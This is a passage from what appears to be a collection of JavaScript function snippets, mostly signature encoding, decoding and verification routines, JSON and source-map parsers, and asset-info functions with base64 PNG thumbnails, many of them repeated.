= s.subarray(posS)\n if (s[0] & 0x80) return 1\n if (lenS > 1 && (s[0] === 0x00) && !(s[1] & 0x80)) return 1\n\n // Set output length for return\n obj.outputlen = 6 + lenR + lenS\n\n // Output in specified format\n // 0x30 [total-length] 0x02 [R-length] [R] 0x02 [S-length] [S]\n output[0] = 0x30\n output[1] = obj.outputlen - 2\n output[2] = 0x02\n output[3] = r.length\n output.set(r, 4)\n output[4 + lenR] = 0x02\n output[5 + lenR] = s.length\n output.set(s, 6 + lenR)\n\n return 0\n }", "_parseQRCodeData(encodedString) {\n try {\n const compressedBytes = base32.decode.asBytes(encodedString);\n return this._decompressAndParseJSON(compressedBytes);\n } catch(base32DecodingError) {\n throw new Error(\"Unable to parse QR code (Base32 decode error).\");\n }\n }", "function sanitizeJsonRpcSignature(signature, hash, account, web3cli) {\n if (signature.length === WELL_FORMED_SIGNATURE_LENGTH) {\n return signature;\n }\n\n if (signature.length < MINIMUM_SIGNATURE_LENGTH) {\n throw new Error(\"Cannot sanitize signature '\" + signature +\"': less than minimum length\");\n }\n\n let sanitized;\n\n if (signature.length === MINIMUM_SIGNATURE_LENGTH) {\n sanitized = \"0x\" + \"00\" + signature.substr(2, 62) + \"00\" + signature.substr(64, 64);\n tryRecover(sanitized, signature, hash, account, web3cli);\n return sanitized;\n }\n\n if (signature.length === SINGLE_COMPONENT_MALFORMED_SIGNATURE_LENGTH) {\n // 31 bytes belong to R\n try {\n sanitized = \"0x\" + \"00\" + signature.substr(2, 62) + signature.substr(64, 66);\n tryRecover(sanitized, signature, hash, account, web3cli);\n return sanitized;\n } catch (e) {\n // 31 bytes belong to S\n sanitized = \"0x\" + signature.substr(2, 64) + \"00\" + signature.substr(66, 64);\n tryRecover(sanitized, signature, hash, account, web3cli);\n return sanitized;\n }\n }\n\n throw new Error(\"Could not sanitize signature '\" + signature + \"': unexpected error\");\n}", "async function verifySignature(qrCodeText, pemPublicKey) {\n\n var result = new Object();\n result.text = null;\n result.signedDataJson = null;\n\n var signedDataJson = null;\n\n try {\n const separatorIndex = qrCodeText.indexOf(\"#\");\n const signatureBase64 = qrCodeText.substr(0, separatorIndex);\n const signedDataText = qrCodeText.substr(separatorIndex+1);\n \n signedDataJson = JSON.parse(signedDataText);\n\n // Decode signature from Base64.\n const signatureBinStr = window.atob(signatureBase64);\n const signature = binaryStrToArrayBuf(signatureBinStr);\n \n // Calculate SHA256 of signed text.\n var signedData = binaryStrToArrayBuf(signedDataText);\n\n if (signedDataJson.et === 1) {\n // \"RSA256-like\" signature type - apply SHA256 over the signed text explicitly\n // (which is also done by the verify() function below, a second time).\n signedData = await sha256DigestPromise(signedData);\n } else if (signedDataJson.et === 2) {\n // \"RSA256\" signature type - standard verification used, no need to perform \n // SHA256 explicitly.\n } else {\n // Unknown signature type.\n result.text = \"UNKNOWN SIGNATURE TYPE!\";\n return result;\n }\n \n // Import public key.\n const publicKey = await importRsaPublicKeyPem(pemPublicKey, \"sha-256\");\n \n // Verify public key signature over signed data.\n const signatureValid = \n await window.crypto.subtle.verify(\"RSASSA-PKCS1-v1_5\", publicKey, signature, signedData);\n\n if (signatureValid) {\n result.text = \"Signature valid\"\n result.signedDataJson = signedDataJson;\n } else {\n result.text = \"SIGNATURE NOT VALID!\"\n }\n } catch {\n result.text = \"ERROR CHECKING SIGNATURE!\"\n }\n\n return result;\n}", "function normalizeSignature(signature) {\n // strip 0x\n signature = signature.substr(2);\n\n // increase v by 27...\n return \"0x\" + signature.substr(0, 128) + (parseInt(signature.substr(128), 16) + 27).toString(16);\n }", "signatureExport(obj, sig) {\n const sigR = sig.subarray(0, 32);\n const sigS = sig.subarray(32, 64);\n if (new BN(sigR).cmp(ecparams.n) >= 0) return 1;\n if (new BN(sigS).cmp(ecparams.n) >= 0) return 1;\n const {\n output\n } = obj; // Prepare R\n\n let r = output.subarray(4, 4 + 33);\n r[0] = 0x00;\n r.set(sigR, 1);\n let lenR = 33;\n let posR = 0;\n\n for (; lenR > 1 && r[posR] === 0x00 && !(r[posR + 1] & 0x80); --lenR, ++posR);\n\n r = r.subarray(posR);\n if (r[0] & 0x80) return 1;\n if (lenR > 1 && r[0] === 0x00 && !(r[1] & 0x80)) return 1; // Prepare S\n\n let s = output.subarray(6 + 33, 6 + 33 + 33);\n s[0] = 0x00;\n s.set(sigS, 1);\n let lenS = 33;\n let posS = 0;\n\n for (; lenS > 1 && s[posS] === 0x00 && !(s[posS + 1] & 0x80); --lenS, ++posS);\n\n s = s.subarray(posS);\n if (s[0] & 0x80) return 1;\n if (lenS > 1 && s[0] === 0x00 && !(s[1] & 0x80)) return 1; // Set output length for return\n\n obj.outputlen = 6 + lenR + lenS; // Output in specified format\n // 0x30 [total-length] 0x02 [R-length] [R] 0x02 [S-length] [S]\n\n output[0] = 0x30;\n output[1] = obj.outputlen - 2;\n output[2] = 0x02;\n output[3] = r.length;\n output.set(r, 4);\n output[4 + lenR] = 0x02;\n output[5 + lenR] = s.length;\n output.set(s, 6 + lenR);\n return 0;\n }", "function _getSignatureInputByString(sHead, sPayload) {\r\n\treturn utf8tob64u(sHead) + \".\" + utf8tob64u(sPayload);\r\n }", "function parse_ImData(blob) {\n var cf = blob.read_shift(2);\n var env = blob.read_shift(2);\n var lcb = blob.read_shift(4);\n var o = {\n fmt: cf,\n env: env,\n len: lcb,\n data: blob.slice(blob.l, blob.l + lcb)\n };\n blob.l += lcb;\n return o;\n }", "function svgstrShim(svgstr, strict = true) {\n // decode any uri escaping, condense leading/lagging whitespace,\n // then match to raw svg string\n const [, base64, raw] = decodeURIComponent(svgstr)\n .replace(/>\\s*\\n\\s*</g, '><')\n .replace(/\\s*\\n\\s*/g, ' ')\n .match(strict\n ? // match based on data url schema\n /^(?:data:.*?(;base64)?,)?(.*)/\n : // match based on open of svg tag\n /(?:(base64).*)?(<svg.*)/);\n // decode from base64, if needed\n return base64 ? atob(raw) : raw;\n }", "function decode (buffer) {\n const hashType = buffer.readUInt8(buffer.length - 1)\n const hashTypeMod = hashType & ~0x80\n if (hashTypeMod <= 0 || hashTypeMod >= 4) throw new Error('Invalid hashType ' + hashType)\n\n const decode = bip66.decode(buffer.slice(0, -1))\n const r = fromDER(decode.r)\n const s = fromDER(decode.s)\n\n return {\n signature: Buffer.concat([r, s], 64),\n hashType: hashType\n }\n}", "static GetPublicKeyParams(str) {\n\n const modulus_str = str.substring(str.indexOf('<Modulus>') + 8, str.indexOf('</Modulus>'));\n const exponent_str = str.substring(str.indexOf('<Exponent>') + 9, str.indexOf('</Exponent>'));\n\n return {\n modulus: new Buffer.from(modulus_str, 'base64'),\n exponent: new Buffer.from(exponent_str, 'base64')\n }\n }", "function parse_ImData(blob) {\n\tvar cf = blob.read_shift(2);\n\tvar env = blob.read_shift(2);\n\tvar lcb = blob.read_shift(4);\n\tvar o = {fmt:cf, env:env, len:lcb, data:blob.slice(blob.l,blob.l+lcb)};\n\tblob.l += lcb;\n\treturn o;\n}", "function parse_ImData(blob) {\n\tvar cf = blob.read_shift(2);\n\tvar env = blob.read_shift(2);\n\tvar lcb = blob.read_shift(4);\n\tvar o = {fmt:cf, env:env, len:lcb, data:blob.slice(blob.l,blob.l+lcb)};\n\tblob.l += lcb;\n\treturn o;\n}", "function parse_ImData(blob) {\n\tvar cf = blob.read_shift(2);\n\tvar env = blob.read_shift(2);\n\tvar lcb = blob.read_shift(4);\n\tvar o = {fmt:cf, env:env, len:lcb, data:blob.slice(blob.l,blob.l+lcb)};\n\tblob.l += lcb;\n\treturn o;\n}", "function parse_ImData(blob) {\n\tvar cf = blob.read_shift(2);\n\tvar env = blob.read_shift(2);\n\tvar lcb = blob.read_shift(4);\n\tvar o = {fmt:cf, env:env, len:lcb, data:blob.slice(blob.l,blob.l+lcb)};\n\tblob.l += lcb;\n\treturn o;\n}", "function deserializeEd25519Signature(readStream) {\r\n if (!readStream.hasRemaining(exports.MIN_ED25519_SIGNATURE_LENGTH)) {\r\n throw new Error(`Ed25519 signature data is ${readStream.length()} in length which is less than the minimimum size required of ${exports.MIN_ED25519_SIGNATURE_LENGTH}`);\r\n }\r\n const type = readStream.readByte(\"ed25519Signature.type\");\r\n if (type !== IEd25519Signature_1.ED25519_SIGNATURE_TYPE) {\r\n throw new Error(`Type mismatch in ed25519Signature ${type}`);\r\n }\r\n const publicKey = readStream.readFixedHex(\"ed25519Signature.publicKey\", ed25519_1.Ed25519.PUBLIC_KEY_SIZE);\r\n const signature = readStream.readFixedHex(\"ed25519Signature.signature\", ed25519_1.Ed25519.SIGNATURE_SIZE);\r\n return {\r\n type: IEd25519Signature_1.ED25519_SIGNATURE_TYPE,\r\n publicKey,\r\n signature\r\n };\r\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-23,\"y\":-12,\"w\":48,\"h\":12},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAEZklEQVR42u2YW1NTVxTH8w34CHyE\\nPPStJZPpSLWjbWWcIiUtRomAVeCkNDCA6AECgkCIyEUCQiiES4F4wJAQQEyAghDAgFzldsr9zvFC\\na8GHf89Opwyl4yMnmZE1s+fM5OyH\\/1l7rd\\/+r4hEJ3ESH0nscV3it6st9BbbwLxabGI3Zhts69NG\\n7f52B7W7ZBUf3js\\/apArAn1sCpkPJYi4tytWhl\\/Y\\/r0RU4MPsTBmQL0+CnNDpVibrnet\\/W07926j\\nXf\\/Xert2Y9YIWnUeJfeu4tjFvVmyyF8tmjE9WITe1nRkJsqgSQ4CFeKL2z\\/7ITXen\\/89A2TP3JAe\\nEw4dmmvj8digQkLUN\\/SxinvPdUqnB4vxsl+HJ49u4rbKjw71\\/8Tr8J4rMsl5KuS03lQdz9aWKJF+\\n6yKykgJtwQE+4mMVh50Br825R9xQpwaOtlSoY\\/xotzfC0kiFmJtvlG\\/MMvq1mXqOfVEGS00M+lrU\\njNtE7czWepGuI525PFmDSccDEGHkaHtbU6G\\/H8qQPW4RNz9SQa3P1LNETKcpEQPtaagrVfI19D20\\nKT+gSndD6xZhpL4IEkZ78tBhSsLTBppHQggpbudPYWcohexTb\\/fW2kS1k7Bs+Lf7yKQDkBb\\/Le12\\nUQdcW27WE8DWl1KIDT\\/LEhxgp9v7\\/XYHvbvayhEgkxpkX\\/yCueEyNi9LIZxwvt7khPJjPbloqlJx\\nNYVRYiLszbLFBeIeawqeWdUwVarQZU5GtyUFd29dZAUTuDnLsKtTv6I8LwymGpohKCFd29eagsrC\\nG4iNOMvydygTLPOhrXVqPfmY\\/LtyHDt0D92pGO3Jh+NpPlanavHcroG5OgbXL3\\/OHb3Y+b3USHcu\\nn8EAXAmUSAURSDg34yyB057pylpJTiiUYWe0R68v4lz4y99lDujoCzj6\\/tji3Wa7kziPNmMC7zb8\\n2A8dHXEv07xrqdKFIzhQIgwLF8fLpS\\/7C\\/niTyQuA4nRFxhdur\\/Xf\\/nY7c37Pf4j6tDdfAfxyq+c\\ngmWP71SWoIO4DYVMAsODHzE\\/Us7tbdu1rxfN9O5ai\\/b1kpkj3Wyujka44hQrGBtJZv5cf4K+tgxE\\nKE7pYyO+thkKrvE2qsjl4xbGKvlnE4a7clzHGnnVV7jM\\/WvBiZnMSQ066EhN4nf0w3sK1lITx7tj\\nJTrNqagrodikaD9KJHQQGBOsZKsv4eixFdwJkpIVEfKFVOSuIPU13luA2MhzEHliTA0W28xV0VBd\\n\\/5L1SIH7W3YX\\/9ISAmweJ454v+XJWhjLVIiLPKd1uyAyiR0svjn2tuw24pSzk2VQBH4md6u4fwYe\\nI\\/5YawXhHoHu1hyDnpZMBMsknKBs+5+4RRPFLZhcMyyx8f3tWRh7lovGChVCgqScYJbpQy55wlGI\\nAZsGjyvjuBz1JfnKuMEzLDw3b6LIMZK\\/HMpyr7FHDYD7Z4wVq23CUYTibAUXFXZa7HEYmezXMcay\\nKChDfRmRJwaZ+jstGVKPGRtP4mOLvwHobhsTvuFCGQAAAABJRU5ErkJggg==\",\n\t};\n}", "function tokenize(str){\n //const markerRe = /\\((\\d+)x(\\d+)\\)/i;\n const tokens = [];\n let s = str;\n let m;\n\n while((m = matchMarker(s)) !== null){\n //['(8x2)', '8', '2', index: 1, input: 'X(8x2)(3x3)ABCY']\n const before = s.substring(0, m.index);\n const markedLength = parseInt(m[1]);\n const repeat = parseInt(m[2]);\n const markerLength = m[0].length + markedLength;\n\n if(before){\n tokens.push({type: 'reg', value: before});\n }\n\n tokens.push({\n type: 'marker',\n value: s.substr(m.index, markerLength),\n repeatChars: s.substr(m.index + m[0].length, markedLength),\n repeat\n });\n\n s = s.substr(m.index + markerLength);\n }\n\n if(s){\n tokens.push({type: 'reg', value: s});\n }\n\n return tokens;\n}", "function dimensionsFromPathString(str) {\n if (!str)\n throw new Error('Invalid dimensions');\n const regex = /(\\d*)x?(\\d*)/;\n const matches = str.match(regex);\n const width = matches[1] ? Number(matches[1]) : undefined;\n const height = matches[2] ? Number(matches[2]) : undefined;\n if ((!width && !height) || width === 0 || height === 0)\n throw new Error('Invalid dimensions');\n return {\n width,\n height,\n };\n}", "function verifySignatureBox(signature, pub_key) {\n return curve.sign.open(str2buf(signature, 'base64'), pub_key);\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n }", "function parseSourceMapInput(str) {\n\t return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n\t}", "function parseSourceMapInput(str) {\n\t return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n\t}", "function parseSourceMapInput(str) {\n\t return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n\t}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''))\n }", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-25,\"y\":-92,\"w\":46,\"h\":56},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAANaUlEQVR42sWYeVRT59bGo72t7e21\\noqAkzJOtrdpaFZDBgGACgYRJg4CMKio1CIhMaokQCHPIREIYwwwJIDPIKA4o4lCVYq16b61DHa61\\n3FqrqOu5J362q9\\/3x2d7td53rWedZJ2VrN\\/Ze7\\/vfvYhkV5yAZhG6C+E3iY089q1a9p37tyh3Lp1\\ny+bmzZuJN27c2Hz16tU5pNe9CJg3CM0g9DdCWoQoZ8+eXSwUCsNbW1v7+vv7v+\\/s7DzW1tZmSdyb\\nTvpvrOeRm3X\\/\\/n3y5cuXjZKTk3MjIiLuRkVFXd65c2d4dHS01vMIT\\/tvAU5XqVTvpKWlLU9JSdkT\\nHx9\\/gcPhPGGz2acTExPpxH2yJrKE5jyP+LRfSuK1AObm5uqIxeItIpFogrhOEen9qbi4+GpfX1\\/a\\n5OQkkwBZSWg+Id3nkJqI\\/vW1RVQikWytqKg4TdTcJaLmBomaK5HJZL09PT1hBMSi53B6hN7TRPCV\\npu6rw60zTwzV6gy1KXRaW0tncrncFxZ6aGjogg0bNkjDwsJs\\/6yamjY5OT7n+29HqdcuDsaeO94u\\nb20slGfzExJDAnyp7nT6Ii83t\\/e9GAxzppOTPp1Of5f42fTfAhKbRErozwE8c2b\\/uzf+cTji9pUR\\nXBrvxXBf5WNR7uf3A9je93y9Pe6u9XS7tYblNu7tzhhl0elquqPjRhsbG\\/3fAsbFxUkTEhJ+BbRa\\nsECbbm\\/\\/yToWy3K9j4\\/luufyYblaMun0BRr5uLubeXh46DIYjBn\\/L+D4eM+ci+d6dp8\\/0\\/Vof3vp\\nI0HOnr\\/LJVldmencCj4vWr1rl\\/84h+P9jR+bed3FyfGxvbX1pRVLl\\/r8FpAoBSmxq38FtFm+nLOa\\nSv1uLYuJQPban0L82D+EBXo\\/DWCzHq3xcD+yhuV+kHjoLrYXK5\\/tzXJ4QYq5048ealh9oLfy230q\\n2c2uDnXFk4cP4u5MHE491bKnr6d5\\/WTXUOiXaZl+x7wYtB8c7WwvMRgLwwurP\\/0oK8tu+e5kxvp8\\nIWdfUbl\\/ZFXbQsuKNorRCuuPi5zs7f7FoDk\\/iI\\/dPioQxo9l5AQ+4mUE3NsRtWVfZMSWegL0NgH4\\n1NebVfbCNCuLMhcqJCndeVl7rra3NspvX54oOKcSnx\\/PD586LPVBS5s7CkpdJwP9aZOr7G1urA9e\\n3BW\\/a9ng9ijb89E77f+1h2sPfo4NeNnLL6fmfFhKPMAozdH+59CgtVePHa\\/vPXpSdqe\\/e\\/fT5roI\\nfDvWxXn8+PEqto+X2pvJeLLWi8l\\/IaCLi8scdxenBD+2z0RPc33KWGdd64A8eeqicDOOZDDRXOUE\\neSUVGzc6wNnBFo7UJXB1\\/Rgsj8Xw8PwYbm6L4MFaBgbdCmvZn8CFvhhM+iokJfne6zu098nRI\\/m4\\n1JqHY4rdGC1NHXz88D4tLCRI4cNym\\/J0p794c9HptvNcnFelerPcT3XL0vl9eTu+buN\\/honsEAyk\\nM1FXbg9h0QoEBa2EE3U5vNeaI45riCy5EfKKTcATGmFXuhG2xhjDa40Z7FYsBMN5FbhpHmjtj8Cx\\nlmR8W8\\/DqdK92CfhTj748UefQH8\\/tZebyxTbxuadFwLSaHZ6NCdqrruL8wll3HpBdyzzXlfCGhzc\\n44mmTBrKqleAm7EcXiw7ePssRLqYjPpeCtRDxmg6YAzVgCFqevRQ1kJBmmQuGO4WBKAD0rLdUNvG\\nRl\\/RBkwUxmBcFouK1O2YvHUj0N+XfZrlSpv6XUcNw9r6PWcH++0E5KUtPtTm\\/HDr75UxVJTG2yM\\/\\nwxpZ0iWI2L4UNEdbBIUsQF4JGdXdBqjrNSFATVDbow9lqw6KG3VRUKuPNb4WcKNREZfkBEWVK6rz\\n3dCXxsYIPxi1iUG4cWYk2IvlfonpsvrK7wJctmzZm6sd7R1XO67scXO1veS3zgobgiyxcYMlwsKX\\nIjBkCVjulqDaLoNfsBGyFGSUtxqhosMYynZDKNsMUdKsj0KVHgpq9ODrbw5XZ3sEBKwEL8ceeblU\\niJOpKExyhjyaBjE\\/KWUV1f4Bg+ZU97sPbALyr0xnB5vYqAAhb2\\/4zZ0xgYjirMOWTT4IWOcCb08b\\nePl8iE3b9ZEho6BIpQEzegZX0a65mqC02RCCUjIiok3g6bGUqFcrBAWvQNjGFQgOsUJgsBXWr7GE\\nO8PhS6qt9birkwP7D7Y97vTbt2vmn\\/+ydO\\/B4fyTgwO5k91dGaivS4KiKBwCkQ+yhTRkS63AF89H\\nptSY2CjGyC81g1hpAWGpKbg5hkjkERsm8iMigkuxbt0KeHvZErKDj5c9fLzt4e9vDU9Pq10MhsWM\\n\\/6j9Xbig0Dl3rog5elQkGD0q\\/ursGcXU+LkinD4tx8iIEL29XNSrt6KsMhDF5QGoqAlEdX3QMymr\\n16NE6Y+qmhBU125ERdUWFBZuhUSy+X8kDUehIhRlFeFbXrpPKxTRlI6O1MCjI6LmsePS789PlODG\\n9Trc\\/Wcj7txW49rVWlz4qgxfjhf\\/L2ke5sSYFIcOCjA4kIOebj66u\\/g3ic8HhgZzB4YGc0oP9OfS\\nXomZUKm4bx0Zyl5yaFjIGzkiGj91UjalgfjmH1XPYC9+Xf4rGBFpjBwRoqszHWpVMmqqk36orkwc\\nrq3endek\\/nzT\\/v2Z1MHBbLvh\\/XmG4+Pct16p6+nvF+p27BeFdLSlHh\\/Yz8fRETFOnpCBiCxGj0me\\nSROt2prdKJBG3paIOCqpdPs2sSBypUCwUTPhTXtF\\/pA0vXvM9IPOE2ZRXcfNovefMV80NER6Nk8k\\npX6+Mi4+4kDi3hjISlOgVu9FUyP3mRrq90BZkYwk\\/m4k7oq8uSt1p2+MIOZZl+CqSG+liud+miT+\\n29yXBu05YUxpHzWJJ7rDYEOvQWn3SdNtHWOGixy5Q29z4hISPQIj7tqt2wm\\/xHxkyHNRW0+0r2YC\\ntomP1EIFmJxMhG7lPArbyUvyis7XihSTZqTkz01Lzdfpyy0mN4hryFb\\/EWT\\/F2bvd4+ZcVsOm8TU\\n9RqIFA26Y7IacndJo8GwUKkbw0pI8wzYGneI5rsFy\\/1TQI+tQRC\\/ASlyGYrqJMisqsMGYQ+co8sQ\\ntDMTYYmCUUJm3Hwdx1SR7iA3d05uhnzeaXm9fqyshbJS1W8k+EOA8n1aJvJa7TRJlXaZsl0vQ1ZH\\nPiit0bsnKNOdzJLPPhTNt+kN2+Z5z9UvFFaBfAKkAqt3VGFtcjWC06vBTlHBi9cN5mY+dsZFI4iT\\n+ICxadfWeL5uWbpE9wpPNGc4RaB1PUehfUBYPqddXje3\\/A8BZipmz8pSzOZkFWpdzivRGRZV6B5X\\nqPUfKtv0n9T3Gf5U3mpyPy1\\/yQOvjYGPrIMzQY0ohFNMBdz2NME1SQ3nqDKsSShGbAQb6RxncHas\\nRBR34dep+XPv7BVoP02XziV6uO5teT3leHEj+e\\/qASP1HzxOSG9Im7SMM4vec8mWaTkU1FFilG0G\\nV+r7jNF2xAxtI6ao7DDto4cFHFrmtxeOkSWgEWlm7m6EOyFabDVcY4qxlpOKjZyQa0l80+tlzYZT\\nDf3G0PxHba\\/xfVHFvFR+wazwLMV7nIo2XebLDejFejRJlf5ZTX+t6TaGetAU+w6bfhMvXHXeNiDi\\nvmUAD6ujSuAeXwlmQhWYSXWgx9XCYVsxonODmhr6za90jpk97R6zQOthM6gGTaek1fOCtiWRtEOj\\nSVqhoaS3XwowQzDPLLNAtzC3mPKztFofJU2GhMUyfqLsfP9hdJbzY7uAzVjK3gXr9TxYBaQ8VxI+\\nyw5G3YGl33WNWTxsHdGAmaCy0wjyOgPkK+fZcbmkV\\/NSafNm0ps8ySzTNMm8HRky8kROMQUa0OJG\\nQxSqLZBcsAKMzevxMSsSC923g\\/lZINLKqKgdXExE2hzqARNUEXZMoTJAXqkeMmWUFr50pvYrn5uz\\nSkkzU6Xa1mniufl8Kfl6ThEF4ip9yOqMkav8CNv5TthbSIWy6xPCXc8n3LUmYsYobCDASjRg5IF0\\nKdl3d66W8SuL3v9dbDbpDa6ANEdcSXYQVxo05Sj0HmYVUiAo04NAaUKYVdNn7lojDWR1pzlktcaD\\nmUVkX26GlklkJGnGnwJ2AqQ3T3336UeHLiwMHjg7P7P31IIjTUMWk7XdJk8LGzRDEwXpEgoyCigQ\\nKvUhrzdAKVECFS2aWcX8x\\/ZR8wPDEx\\/yBs9aOJw4QXrzlQO2j5p+0nFsfl3jkNnd2jajH7t6zR73\\nHzFHy7ApGvpMiJo0+CldrFvHE5GPZxSQp\\/IUFMiI9PcPmmFoyPTH6lbDY+X7jHpLmvS3qFQG77xy\\nQC5hElR9s2c179edd+aUxaaxL+Zf7DhsinrC6lc2GWnmD5FmI\\/FEc93SROQzyhoDiIr1ICJS39Jp\\n1NPcobtIVjNrtkBAeof0Z6+Oo6Ye6iGTL4qJWaSpxQjVRCqz5ZRiXs4s0xQx2SFNRDm5r80YlTWG\\nN7NllJ\\/TpZQJAnz+a3v1S7S9WOKYuZtfTkktKKf4ZBaQR1JF5DHCRq38BTBDolsrlOl8kFEw73O+\\nRPcMX6K94LUBcgveJe8p0P4wgejZmu88oc4HPPEsc+LoeOaMNUcI4SV\\/sVHTXuZI+TejdKSZGc9g\\nawAAAABJRU5ErkJggg==\",\n\t};\n}", "function supplementsLineToObject(s){\n\tvar t = s.trim();\n\t\n\t//C indicates capturing, NC non-capturing\n\t//2#C \tbrand\t\t(anything), up until...\n\t//NC\t\t\t\t(1+ spaces)\n\t//3#C\tsupp\t\tan *, including the *, (anything) and an * until...\n\t//NC\t\t\t\t(1+ spaces)\n\t//4#C \tdose\t\t(anything and a :), until...\n\t//NC\t\t\t\t(0+ spaces)\n\t//5#C \tqty\t\t\t(anything else) \n\t//6#C\tspacer\t\ta digit followed by #\n\n\tvar r = t.match(/^(.*?)(?=(?:\\s+(\\*.*\\*)(?=(?:\\s+(.*:)(?:\\s*)(.*)$))))|(\\d#)/);\t\n\tif(r != null){\n\t\t//if this is a spacer line, there's no useful info.\n\t\tif(r[5] == undefined){\n\t\t\tvar keys = [\"brand\", \"supp\", \"dose\", \"qty\"];\n\t\t\tvar o = {};\n\t\t\t//i is index\n\t\t\tkeys.map((el, i) => {\n\t\t\t\to[el] = r[i+1];\n\t\t\t});\n\t\t\to.sl = o.brand.length + o.supp.length;\n\t\t\treturn o;\n\t\t} else {\n\t\t\treturn s;\n\t\t}\n\t} else {\n\t\t//log(\"supplementsLineToObject: return input:\\n\" + JSON.stringify(s));\n\t\treturn s;\n\t}\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str) {\n return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/, ''));\n}", "function parseSourceMapInput(str){return JSON.parse(str.replace(/^\\)]}'[^\\n]*\\n/,''));}", "function string2polygon(str){\n return str.replace(/^[^-0-9.e]*|[^-0-9.e]*$/g,\"\").split(/[^-0-9.e]+/).map(parseFloat);\n}", "function toObject(str) {\n return gadgets.json.parse(str);\n}", "function toObject(str) {\n return gadgets.json.parse(str);\n}", "function jsParseJSON(str) {\n try {\n var js = JSON.parse(str);\n var hs = toHS(js);\n } catch(_) {\n return __Z;\n }\n return {_:1,a:hs};\n}", "function jsParseJSON(str) {\n try {\n var js = JSON.parse(str);\n var hs = toHS(js);\n } catch(_) {\n return __Z;\n }\n return {_:1,a:hs};\n}", "function _stringToSignature(string_signatures) {\n\tconst signatures = [];\n\tfor (let signature of string_signatures) {\n\t\t// check for properties rather than object type\n\t\tif (signature && signature.signature_header && signature.signature) {\n\t\t\tlogger.debug('_stringToSignature - signature is protobuf');\n\t\t}\n\t\telse {\n\t\t\tlogger.debug('_stringToSignature - signature is string');\n\t\t\tconst signature_bytes = Buffer.from(signature, 'hex');\n\t\t\tsignature = _configtxProto.ConfigSignature.decode(signature_bytes);\n\t\t}\n\t\tsignatures.push(signature);\n\t}\n\n\treturn signatures;\n}", "function verify (keys, sig, msg) {\n if(isObject(sig))\n throw new Error('signature should be base64 string, did you mean verifyObj(public, signed_obj)')\n return curves[getCurve(keys)].verify(\n u.toBuffer(keys.public || keys),\n u.toBuffer(sig),\n isBuffer(msg) ? msg : new Buffer(msg)\n )\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-9,\"y\":-39,\"w\":17,\"h\":39},\n\t\t'thumb': 